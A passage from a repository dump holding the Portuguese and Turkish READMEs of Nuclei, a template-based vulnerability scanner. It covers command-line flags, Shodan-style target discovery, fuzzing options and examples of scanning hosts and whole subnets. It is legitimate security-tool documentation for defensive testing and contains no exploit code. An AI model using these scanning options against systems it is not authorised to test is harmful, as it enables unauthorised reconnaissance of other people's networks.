escanear todos os IPs associados ao registro DNS\n   -iv, -ip-version string[]     versão de IP a escanear do nome do host (4,6) - (padrão 4)\n\nTARGET-FORMAT:\n   -im, -input-mode string        modo do arquivo de entrada (list, burp, jsonl, yaml, openapi, swagger) (padrão \"list\")\n   -ro, -required-only            usar apenas campos obrigatórios no formato de entrada ao gerar requisições\n   -sfv, -skip-format-validation  pular a validação de formato (como variáveis ausentes) ao processar o arquivo de entrada\n\nTEMPLATES:\n   -nt, -new-templates                    executar apenas os novos templates adicionados na última versão de nuclei-templates\n   -ntv, -new-templates-version string[]  executar os novos templates adicionados na versão especificada\n   -as, -automatic-scan                   escaneamento da web automático utilizando a detecção de tecnologia do Wappalyzer para mapeamento de tags\n   -t, -templates string[]                lista de templates ou diretório de templates a executar (separados por vírgulas, arquivo)\n   -turl, -template-url string[]          URL de template ou lista contendo URLs de templates a executar (separados por vírgulas, arquivo)\n   -w, -workflows string[]                lista de fluxos de trabalho ou diretório de fluxos de trabalho a executar (separados por vírgulas, arquivo)\n   -wurl, -workflow-url string[]          URL de fluxo de trabalho ou lista contendo URLs de fluxos de trabalho para executar (separados por vírgulas, arquivo)\n   -validate                              valida os templates passados para o nuclei\n   -nss, -no-strict-syntax                desativa a verificação de sintaxe estrita nos templates\n   -td, -template-display                 exibe o conteúdo dos templates\n   -tl                                    lista todos os templates disponíveis\n   -tgl                                   lista todas as tags disponíveis\n   -sign                                  assina os templates com a chave privada definida na variável de ambiente NUCLEI_SIGNATURE_PRIVATE_KEY\n   -code                                  habilita o carregamento de templates baseados em protocolos de código\n   -dut, -disable-unsigned-templates      desativa a execução de templates não assinados ou com assinatura incompatível\n\nFILTERING:\n   -a, -author string[]               templates a serem executados com base nos autores (separados por vírgulas, arquivo)\n   -tags string[]                     templates a serem executados com base em tags (separados por vírgulas, arquivo)\n   -etags, -exclude-tags string[]     templates a excluir com base em tags (separados por vírgulas, arquivo)\n   -itags, -include-tags string[]     tags a executar mesmo que estejam excluídas por padrão ou configuração\n   -id, -template-id string[]         templates a serem executados com base em IDs de template (separados por vírgulas, arquivo, permitem curingas)\n   -eid, -exclude-id string[]         templates a excluir com base em IDs de template (separados por vírgulas, arquivo)\n   -it, -include-templates string[]   caminho do arquivo de template ou diretório a executar mesmo que estejam excluídos por padrão ou configuração\n   -et, -exclude-templates string[]   caminho do arquivo de template ou diretório a excluir (separados por vírgulas, arquivo)\n   -em, -exclude-matchers string[]    matchers de template a excluir no resultado\n   -s, -severity value[]              templates a executar com base na criticidade. Valores possíveis: info, baixo, médio, alto, crítico, desconhecido\n   -es, -exclude-severity value[]     templates a excluir com base na criticidade. Valores possíveis: info, baixo, médio, alto, crítico, desconhecido\n   -pt, -type value[]                 templates a executar com base no tipo de protocolo. Valores possíveis: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -ept, -exclude-type value[]        templates a excluir com base no tipo de protocolo. Valores possíveis: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -tc, -template-condition string[]  templates a executar com base em condição de expressão\n\nOUTPUT:\n   -o, -output string            arquivo de saída para salvar as ocorrências/vulnerabilidades detectadas\n   -sresp, -store-resp           armazenar todas as solicitações/respostas enviadas pelo nuclei no diretório de saída\n   -srd, -store-resp-dir string  armazenar todas as solicitações/respostas enviadas pelo nuclei em um diretório personalizado (padrão \"output\")\n   -silent                       exibir apenas os resultados\n   -nc, -no-color                desativar a coloração do conteúdo de saída (códigos de escape ANSI)\n   -j, -jsonl                    salvar a saída no formato JSONL(ines)\n   -irr, -include-rr -omit-raw   incluir pares solicitação/resposta nas saídas JSON, JSONL e Markdown (apenas para achados) [OBSOLETO usar -omit-raw] (padrão true)\n   -or, -omit-raw                omitir os pares solicitação/resposta nas saídas JSON, JSONL e Markdown (apenas para achados)\n   -ot, -omit-template           omitir o template codificado na saída JSON, JSONL\n   -nm, -no-meta                 desativar a exibição de metadados dos resultados na saída CLI\n   -ts, -timestamp               ativar a exibição do carimbo de data/hora na saída CLI\n   -rdb, -report-db string       banco de dados de relatórios do nuclei (usar sempre para persistir os dados dos relatórios)\n   -ms, -matcher-status          exibir o estado de falha de correspondência\n   -me, -markdown-export string  diretório para exportar resultados no formato Markdown\n   -se, -sarif-export string     arquivo para exportar resultados no formato SARIF\n   -je, -json-export string      arquivo para exportar resultados no formato JSON\n   -jle, -jsonl-export string    arquivo para exportar resultados no formato JSONL(ines)\n\nCONFIGURATIONS:\n   -config string                        caminho do arquivo de configuração do nuclei\n   -fr, -follow-redirects                ativar o acompanhamento de redirecionamentos para templates HTTP\n   -fhr, -follow-host-redirects          seguir redirecionamentos no mesmo host\n   -mr, -max-redirects int               número máximo de redirecionamentos a seguir para templates HTTP (padrão 10)\n   -dr, -disable-redirects               desativar redirecionamentos para templates HTTP\n   -rc, -report-config string            arquivo de configuração do módulo de relatórios do nuclei\n   -H, -header string[]                  cabeçalho/cookie personalizado a incluir em todas as solicitações HTTP no formato header:value (CLI, arquivo)\n   -V, -var value                        variáveis personalizadas no formato key=value\n   -r, -resolvers string                 arquivo contendo uma lista de resolvers para o nuclei\n   -sr, -system-resolvers                usar resolução DNS do sistema como fallback em caso de erro\n   -dc, -disable-clustering              desativar o agrupamento de solicitações\n   -passive                              ativar o modo de processamento passivo de respostas HTTP\n   -fh2, -force-http2                    forçar conexões HTTP2 nas solicitações\n   -ev, -env-vars                        ativar o uso de variáveis de ambiente no template\n   -cc, -client-cert string              arquivo de certificado de cliente (codificado em PEM) usado para autenticar-se contra os hosts escaneados\n   -ck, -client-key string               arquivo de chave de cliente (codificado em PEM) usado para autenticar-se contra os hosts escaneados\n   -ca, -client-ca string                arquivo de autoridade de certificação de cliente (codificado em PEM) usado para autenticar-se contra os hosts escaneados\n   -sml, -show-match-line                exibir linhas de correspondência para templates de arquivo, funciona apenas com extratores\n   -ztls                                 usar a biblioteca ztls com fallback automático para padrão no tls13 [OBSOLETO] fallback automático para ztls já está ativado por padrão\n   -sni string                           nome de host tls sni a ser usado (padrão: nome de domínio de entrada)\n   -dt, -dialer-timeout value            tempo limite para solicitações de rede\n   -dka, -dialer-keep-alive value        duração do keep-alive para solicitações de rede\n   -lfa, -allow-local-file-access        permitir acesso a arquivos (payload) em qualquer lugar do sistema\n   -lna, -restrict-local-network-access  bloquear conexões à rede local/privada\n   -i, -interface string                 interface de rede a ser usada para o escaneamento de rede\n   -at, -attack-type string              tipo de combinações de payload a realizar (batteringram, pitchfork, clusterbomb)\n   -sip, -source-ip string               endereço IP de origem a ser usado para o escaneamento de rede\n   -rsr, -response-size-read int         tamanho máximo de resposta a ser lido em bytes (padrão 10485760)\n   -rss, -response-size-save int         tamanho máximo de resposta a ser salvo em bytes (padrão 1048576)\n   -reset                                remove todos os arquivos de configuração e dados do nuclei (incluindo os nuclei-templates)\n   -tlsi, -tls-impersonate               ativar randomização experimental do client hello (ja3) tls\n\nINTERACTSH:\n   -iserver, -interactsh-server string  URL do servidor interactsh para instância auto-hospedada (padrão: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)\n   -itoken, -interactsh-token string    token de autenticação para o servidor interactsh auto-hospedado\n   -interactions-cache-size int         número de solicitações a serem mantidas no cache de interações (padrão 5000)\n   -interactions-eviction int           número de segundos a esperar antes de remover solicitações do cache (padrão 60)\n   -interactions-poll-duration int      número de segundos a esperar antes de cada solicitação de polling de interações (padrão 5)\n   -interactions-cooldown-period int    tempo adicional para o polling de interações antes de encerrar (padrão 5)\n   -ni, -no-interactsh                  desativar o servidor interactsh para testes OAST, excluir templates baseados em OAST\n\nFUZZING:\n   -ft, -fuzzing-type string  sobrescreve o tipo de fuzzing definido no template (replace, prefix, postfix, infix)\n   -fm, -fuzzing-mode string  sobrescreve o modo de fuzzing definido no template (multiple, single)\n   -fuzz                      habilita o carregamento de templates de fuzzing (Obsoleto: usar -dast em vez disso)\n   -dast                      executa apenas templates DAST\n\nUNCOVER:\n   -uc, -uncover                  ativa o motor uncover\n   -uq, -uncover-query string[]   consulta de busca uncover\n   -ue, -uncover-engine string[]  motor de busca uncover (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (padrão shodan)\n   -uf, -uncover-field string     campos uncover a serem retornados (ip,port,host) (padrão \"ip:port\")\n   -ul, -uncover-limit int        resultados uncover a serem retornados (padrão 100)\n   -ur, -uncover-ratelimit int    sobrescreve o limite de taxa dos motores com o limite de taxa do motor uncover (padrão 60 req/min)\n\nRATE-LIMIT:\n   -rl, -rate-limit int               número máximo de solicitações a serem enviadas por segundo (padrão 150)\n   -rlm, -rate-limit-minute int       número máximo de solicitações a serem enviadas por minuto\n   -bs, -bulk-size int                número máximo de hosts a serem analisados em paralelo por template (padrão 25)\n   -c, -concurrency int               número máximo de templates a serem executados em paralelo (padrão 25)\n   -hbs, -headless-bulk-size int      número máximo de hosts headless a serem analisados em paralelo por template (padrão 10)\n   -headc, -headless-concurrency int  número máximo de templates headless a serem executados em paralelo (padrão 10)\n   -jsc, -js-concurrency int          número máximo de ambientes de execução de JavaScript a serem executados em paralelo (padrão 120)\n   -pc, -payload-concurrency int      concorrência máxima de payload para cada template (padrão 25)\n   -tlc, -template-loading-concurrency int  número máximo de operações de carregamento de templates concorrentes (padrão 50)\n\nOPTIMIZATIONS:\n   -timeout int                     tempo limite em segundos (padrão 10)\n   -retries int                     número de tentativas para solicitações com falha (padrão 1)\n   -ldp, -leave-default-ports       manter as portas HTTP/HTTPS padrão (exemplo: host:80, host:443)\n   -mhe, -max-host-error int        número máximo de erros para um host antes de ignorá-lo no scan (padrão 30)\n   -te, -track-error string[]       adiciona o erro especificado à lista de rastreamento de erros máximos por host (standard, file)\n   -nmhe, -no-mhe                   desativa a exclusão de hosts do scan com base em erros\n   -project                         utiliza uma pasta de projeto para evitar enviar a mesma solicitação várias vezes\n   -project-path string             define um caminho específico para o projeto (padrão \"/tmp\")\n   -spm, -stop-at-first-match       interrompe o processamento de solicitações HTTP após a primeira correspondência (pode quebrar a lógica de templates/fluxos de trabalho)\n   -stream                          modo de transmissão - começa a trabalhar sem ordenar a entrada\n   -ss, -scan-strategy value        estratégia a ser usada durante o scan (auto/host-spray/template-spray) (padrão auto)\n   -irt, -input-read-timeout value  tempo limite para leitura da entrada (padrão 3m0s)\n   -nh, -no-httpx                   desativa a análise httpx para entradas que não sejam URLs\n   -no-stdin                        desativa o processamento de entrada padrão\n\nHEADLESS:\n   -headless                        habilita templates que requerem suporte para navegadores sem interface gráfica (headless browser) (o usuário root no Linux desativará o sandbox)\n   -page-timeout int                segundos para esperar cada página no modo headless (padrão 20)\n   -sb, -show-browser               exibe o navegador na tela ao executar templates no modo headless\n   -ho, -headless-options string[]  inicia o Chrome no modo headless com opções adicionais\n   -sc, -system-chrome              utiliza o navegador Chrome instalado localmente em vez do instalado pelo nuclei\n   -cdpe, -cdp-endpoint string      usar navegador remoto via endpoint do Protocolo de Ferramentas de Desenvolvedor do Chrome (CDP)\n   -lha, -list-headless-action      lista ações disponíveis para o modo headless\n\nDEBUG:\n   -debug                    exibe todas as solicitações e respostas\n   -dreq, -debug-req         exibe todas as solicitações enviadas\n   -dresp, -debug-resp       exibe todas as respostas recebidas\n   -p, -proxy string[]       lista de proxies HTTP/SOCKS5 a serem usados (separados por vírgulas ou arquivo de entrada)\n   -pi, -proxy-internal      proxy para todas as solicitações internas\n   -ldf, -list-dsl-function  lista todas as assinaturas de funções DSL suportadas\n   -tlog, -trace-log string  arquivo para gravar o log de rastreamento de solicitações enviadas\n   -elog, -error-log string  arquivo para gravar o log de erros de solicitações enviadas\n   -version                  exibe a versão do nuclei\n   -hm, -hang-monitor        ativa o monitoramento de travamentos do nuclei\n   -v, -verbose              exibe saída detalhada\n   -profile-mem string       arquivo opcional para despejo de memória do nuclei\n   -vv                       exibe os templates carregados para o scan\n   -svd, -show-var-dump      exibe o dump de variáveis para depuração\n   -ep, -enable-pprof        ativa o servidor de depuração pprof\n   -tv, -templates-version   exibe a versão dos templates do nuclei (nuclei-templates) instalados\n   -hc, -health-check        executa verificações de diagnóstico\n\nUPDATE:\n   -up, -update                      atualiza o mecanismo do nuclei para a última versão lançada\n   -ut, -update-templates            atualiza os nuclei-templates para a última versão lançada\n   -ud, -update-template-dir string  diretório personalizado para instalar/atualizar os nuclei-templates\n   -duc, -disable-update-check       desativa a verificação automática de atualizações do nuclei/templates\n\nSTATISTICS:\n   -stats                    exibe estatísticas sobre o scan em execução\n   -sj, -stats-json          exibe estatísticas no formato JSONL(ines)\n   -si, -stats-interval int  número de segundos a esperar entre as atualizações de estatísticas (padrão 5)\n   -mp, -metrics-port int    porta para expor métricas do nuclei (padrão 9092)\n\nCLOUD:\n   -auth                  configura a chave de API do cloud do ProjectDiscovery (pdcp)\n   -cup, -cloud-upload    faz upload dos resultados do scan para o dashboard do pdcp\n   -sid, -scan-id string  faz upload dos resultados do scan para o ID de scan fornecido\n\nAUTHENTICATION:\n   -sf, -secret-file string[]  caminho para o arquivo de configuração contendo os secrets para o scan autenticado do nuclei\n   -ps, -prefetch-secrets      pré-carrega os secrets do arquivo de secrets\n\n\nEXAMPLES:\nExecutar nuclei em um único host:\n   $ nuclei -target example.com\n\nExecutar nuclei com diretórios específicos de templates:\n   $ nuclei -target example.com -t http/cves/ -t ssl\n\nExecutar nuclei contra uma lista de hosts:\n   $ nuclei -list hosts.txt\n\nExecutar nuclei com saída JSON:\n   $ nuclei -target example.com -json-export output.json\n\nExecutar nuclei com saídas Markdown organizadas (com variáveis de ambiente):\n   $ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/\n\nDocumentação adicional disponível em: https://docs.projectdiscovery.io/getting-started/running\n```\n\n### Executando Nuclei\n\nConsulte https://docs.projectdiscovery.io/tools/nuclei/running para obter detalhes sobre como executar o Nuclei.\n\n### Uso de Nuclei com código Go\n\nO guia completo sobre como usar o Nuclei como biblioteca/SDK está disponível em [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme).\n\n\n### Recursos\n\nVocê pode acessar a documentação principal do Nuclei em https://docs.projectdiscovery.io/tools/nuclei/ e obter mais informações sobre o Nuclei na nuvem com a [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io).\n\nConsulte https://docs.projectdiscovery.io/tools/nuclei/resources para acessaar mais recursos e vídeos sobre o Nuclei!\n\n### Créditos\n\nObrigado a todos os incríveis [contribuidores da comunidade que enviaram em PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) e mantêm este projeto atualizado. :heart:\n\nSe você tem uma ideia ou algum tipo de melhoria, sinta-se à vontade para contribuir e participar do projeto. Envie seu PR!\n\n<p align=\"center\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500\">\n</a>\n</p>\n\n\nConfira também os seguintes projetos de código aberto que podem se adequar ao seu fluxo de trabalho:\n\n[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)\n\n### Licença\n\nO Nuclei é distribuído sob a [Licença MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)\n\n<h1 align=\"left\">\n  <a href=\"https://discord.gg/projectdiscovery\"><img src=\"static/Join-Discord.png\" width=\"380\" alt=\"Join Discord\"></a> <a href=\"https://docs.projectdiscovery.io\"><img src=\"static/check-nuclei-documentation.png\" width=\"380\" alt=\"Check Nuclei Documentation\"></a>\n</h1>\n"
  },
  {
    "path": "README_TR.md",
    "content": "![nuclei](/static/nuclei-cover-image.png)\n\n<div align=\"center\">\n  \n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">`English`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">`中文`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">`Korean`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">`Indonesia`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">`Spanish`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md\">`日本語`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">`Portuguese`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md\">`Türkçe`</a>\n  \n</div>\n\n<p align=\"center\">\n\n<a href=\"https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\"><img src=\"https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white\"></a>\n&nbsp;&nbsp;\n<a href=\"https://github.com/projectdiscovery/nuclei-templates\"><img src=\"https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white\"></a>\n&nbsp;&nbsp;\n<a href=\"https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\"><img src=\"https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white\"></a>\n\n<hr>\n\n</p>\n\n<br>\n\n**Nuclei, basit YAML tabanlı şablonlardan yararlanan modern, yüksek performanslı bir zafiyet tarayıcısıdır. Gerçek dünya koşullarını taklit eden özel zafiyet tespit senaryoları tasarlamanıza olanak tanıyarak sıfır hatalı pozitif sonuç sağlar.**\n\n- Güvenlik açığı şablonları oluşturmak ve özelleştirmek için basit YAML formatı.\n- Trend olan güvenlik açıklarını ele almak için binlerce güvenlik uzmanı tarafından katkıda bulunulmuştur.\n- Bir güvenlik açığını doğrulamak için gerçek dünya adımlarını simüle ederek hatalı pozitifleri azaltır.\n- Ultra hızlı paralel tarama işleme ve istek kümeleme.\n- Zafiyet tespiti ve regresyon testi için CI/CD hatlarına entegre edilebilir.\n- TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code ve daha fazlası gibi birçok protokolü destekler.\n- Jira, Splunk, GitHub, Elastic, GitLab ile entegre olur.\n\n<br>\n<br>\n\n## İçindekiler\n\n- [**`Başlarken`**](#başlarken)\n  - [_`1. Nuclei CLI`_](#1-nuclei-cli)\n  - [_`2. Pro ve Kurumsal Sürümler`_](#2-pro-ve-kurumsal-sürümler)\n- [**`Dokümantasyon`**](#dokümantasyon)\n  - [_`Komut Satırı Bayrakları`_](#komut-satırı-bayrakları)\n  - [_`Tek hedef tarama`_](#tek-hedef-tarama)\n  - [_`Çoklu hedef tarama`_](#çoklu-hedef-tarama)\n  - [_`Ağ taraması`_](#ağ-taraması)\n  - [_`Özel şablonunuzla tarama`_](#özel-şablonunuzla-tarama)\n  - [_`Nuclei'yi ProjectDiscovery'ye Bağlayın`_](#nucleiyi-projectdiscoveryye-bağlayın)\n- [**`Nuclei Şablonları, Topluluk ve Ödüller`**](#nuclei-şablonları-topluluk-ve-ödüller-) 💎\n- [**`Misyonumuz`**](#misyonumuz)\n- [**`Katkıda Bulunanlar`**](#katkıda-bulunanlar) ❤\n- [**`Lisans`**](#lisans)\n\n<br>\n<br>\n\n## Başlarken\n\n### **1. Nuclei CLI**\n\n_Nuclei'yi makinenize kurun. [**`Buradaki`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) kurulum kılavuzunu takip ederek başlayın. Ayrıca, [**`ücretsiz bir bulut katmanı`**](https://cloud.projectdiscovery.io/sign-up) sağlıyoruz ve cömert aylık ücretsiz limitlerle birlikte geliyor:_\n\n- Zafiyet bulgularınızı saklayın ve görselleştirin\n- nuclei şablonlarınızı yazın ve yönetin\n- En son nuclei şablonlarına erişin\n- Hedeflerinizi keşfedin ve saklayın\n\n> [!Important]\n> |**Bu proje aktif geliştirme aşamasındadır**. Sürümlerle birlikte kırılma değişiklikleri bekleyin. Güncellemeden önce sürüm değişiklik günlüğünü inceleyin.|\n> |:--------------------------------|\n> | Bu proje öncelikle bağımsız bir CLI aracı olarak kullanılmak üzere oluşturulmuştur. **Nuclei'yi bir servis olarak çalıştırmak güvenlik riskleri oluşturabilir.** Dikkatli kullanılması ve ek güvenlik önlemleri alınması önerilir. |\n\n<br>\n\n### **2. Pro ve Kurumsal Sürümler**\n\n_Güvenlik ekipleri ve kuruluşlar için, ekibiniz ve mevcut iş akışlarınızla ölçekli olarak sürekli zafiyet taramaları yapmanıza yardımcı olmak üzere ince ayarlanmış, Nuclei OSS üzerine inşa edilmiş bulut tabanlı bir hizmet sunuyoruz:_\n\n- 50x daha hızlı taramalar\n- Yüksek doğrulukla büyük ölçekli tarama\n- Bulut hizmetleri ile entegrasyonlar (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)\n- Jira, Slack, Linear, API'ler ve Webhook'lar\n- Yönetici ve uyumluluk raporlaması\n- Artı: Gerçek zamanlı tarama, SAML SSO, SOC 2 uyumlu platform (AB ve ABD barındırma seçenekleri ile), paylaşılan ekip çalışma alanları ve daha fazlası\n- Sürekli olarak [**`yeni özellikler ekliyoruz`**](https://feedback.projectdiscovery.io/changelog)!\n- **Şunlar için ideal:** Sızma testi yapanlar, güvenlik ekipleri ve kuruluşlar\n\nBüyük bir organizasyonunuz ve karmaşık gereksinimleriniz varsa [**`Pro'ya kaydolun`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) veya [**`ekibimizle konuşun`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).\n\n<br>\n<br>\n\n## Dokümantasyon\n\nNuclei'nin tam [**`dokümantasyonuna buradan`**](https://docs.projectdiscovery.io/tools/nuclei/running) göz atın. Nuclei'de yeniyseniz, [**`temel YouTube serimize`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl) göz atın.\n\n<div align=\"center\">\n\n<a href=\"https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\" target=\"_blank\"><img src=\"/static/nuclei-getting-started.png\" width=\"350px\"></a> <a href=\"https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\" target=\"_blank\"><img src=\"/static/nuclei-write-your-first-template.png\" width=\"350px\"></a>\n\n</div>\n\n<br>\n\n### Kurulum\n\n`nuclei` yüklemek için **go >= 1.24.2** gerektirir. Repoyu almak için aşağıdaki komutu çalıştırın:\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\nNuclei kurulumu hakkında daha fazla bilgi edinmek için `https://docs.projectdiscovery.io/tools/nuclei/install` adresine bakın.\n\n### Komut Satırı Bayrakları\n\nAracın tüm bayraklarını görüntülemek için:\n\n```sh\nnuclei -h\n```\n\n<details>\n  <summary>Tüm yardım bayraklarını genişlet</summary>\n\n```yaml\nNuclei, kapsamlı yapılandırılabilirlik, devasa genişletilebilirlik ve kullanım kolaylığına odaklanan hızlı, şablon tabanlı bir zafiyet tarayıcısıdır.\n\nKullanım:\n  ./nuclei [bayraklar]\n\nBayraklar:\nTARGET:\n   -u, -target string[]          taranacak hedef URL'ler/hostlar\n   -l, -list string              taranacak hedef URL'leri/hostları içeren dosya yolu (her satırda bir tane)\n   -eh, -exclude-hosts string[]  girilen listeden tarama dışında tutulacak hostlar (ip, cidr, hostname)\n   -resume string                taramayı belirtilen dosyadan devam ettir ve kaydet (kümeleme devre dışı bırakılır)\n   -sa, -scan-all-ips            dns kaydı ile ilişkili tüm IP'leri tara\n   -iv, -ip-version string[]     taranacak hostun IP versiyonu (4,6) - (varsayılan 4)\n\nTARGET-FORMAT:\n   -im, -input-mode string        girdi dosyasının modu (list, burp, jsonl, yaml, openapi, swagger) (varsayılan \"list\")\n   -ro, -required-only            istekler oluşturulurken girdi formatındaki sadece zorunlu alanları kullan\n   -sfv, -skip-format-validation  girdi dosyasını ayrıştırırken format doğrulamasını atla (eksik değişkenler gibi)\n\nTEMPLATES:\n   -nt, -new-templates                    sadece en son nuclei-templates sürümünde eklenen yeni şablonları çalıştır\n   -ntv, -new-templates-version string[]  belirli bir sürümde eklenen yeni şablonları çalıştır\n   -as, -automatic-scan                   wappalyzer teknoloji tespiti ile etiket eşlemesini kullanarak otomatik web taraması\n   -t, -templates string[]                çalıştırılacak şablon veya şablon dizini listesi (virgülle ayrılmış, dosya)\n   -turl, -template-url string[]          çalıştırılacak şablon url'si veya şablon url'lerini içeren liste (virgülle ayrılmış, dosya)\n   -ai, -prompt string                    yapay zeka istemi kullanarak şablon oluştur ve çalıştır\n   -w, -workflows string[]                çalıştırılacak iş akışı veya iş akışı dizini listesi (virgülle ayrılmış, dosya)\n   -wurl, -workflow-url string[]          çalıştırılacak iş akışı url'si veya iş akışı url'lerini içeren liste (virgülle ayrılmış, dosya)\n   -validate                              nuclei'ye iletilen şablonları doğrula\n   -nss, -no-strict-syntax                şablonlarda katı sözdizimi kontrolünü devre dışı bırak\n   -td, -template-display                 şablon içeriğini görüntüler\n   -tl                                    mevcut filtrelerle eşleşen tüm şablonları listele\n   -tgl                                   tüm mevcut etiketleri listele\n   -sign                                  şablonları NUCLEI_SIGNATURE_PRIVATE_KEY ortam değişkeninde tanımlanan özel anahtarla imzala\n   -code                                  kod protokolü tabanlı şablonların yüklenmesini etkinleştir\n   -dut, -disable-unsigned-templates      imzasız şablonların veya imzası eşleşmeyen şablonların çalıştırılmasını devre dışı bırak\n   -esc, -enable-self-contained           kendi kendine yeten (self-contained) şablonların yüklenmesini etkinleştir\n   -egm, -enable-global-matchers          global eşleştirici şablonların yüklenmesini etkinleştir\n   -file                                  dosya şablonlarının yüklenmesini etkinleştir\n\n... (Diğer bayraklar orijinalindeki gibi, tam çeviri için çok uzun olabilir, ancak bağlam için yeterli)\n```\n\nEk dokümantasyon şu adreste mevcuttur: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)\n\n</details>\n\n### Tek hedef tarama\n\nWeb uygulamasında hızlı bir tarama yapmak için:\n\n```sh\nnuclei -target https://example.com\n```\n\n### Çoklu hedef tarama\n\nNuclei, bir hedef listesi sağlayarak toplu taramayı gerçekleştirebilir. Birden fazla URL içeren bir dosya kullanabilirsiniz.\n\n```sh\nnuclei -list urls.txt\n```\n\n### Ağ taraması\n\nBu, açık portlar veya yanlış yapılandırılmış servisler gibi ağla ilgili sorunlar için tüm alt ağı tarayacaktır.\n\n```sh\nnuclei -target 192.168.1.0/24\n```\n\n### Özel şablonunuzla tarama\n\nKendi şablonunuzu yazmak ve kullanmak için, belirli kurallara sahip bir `.yaml` dosyası oluşturun ve ardından aşağıdaki gibi kullanın.\n\n```sh\nnuclei -u https://example.com -t /path/to/your-template.yaml\n```\n\n### Nuclei'yi ProjectDiscovery'ye Bağlayın\n\nTaramaları makinenizde çalıştırabilir ve sonuçları daha fazla analiz ve düzeltme için bulut platformuna yükleyebilirsiniz.\n\n```sh\nnuclei -target https://example.com -dashboard\n```\n\n> [!NOTE]\n> Bu özellik tamamen ücretsizdir ve herhangi bir abonelik gerektirmez. Ayrıntılı bir kılavuz için 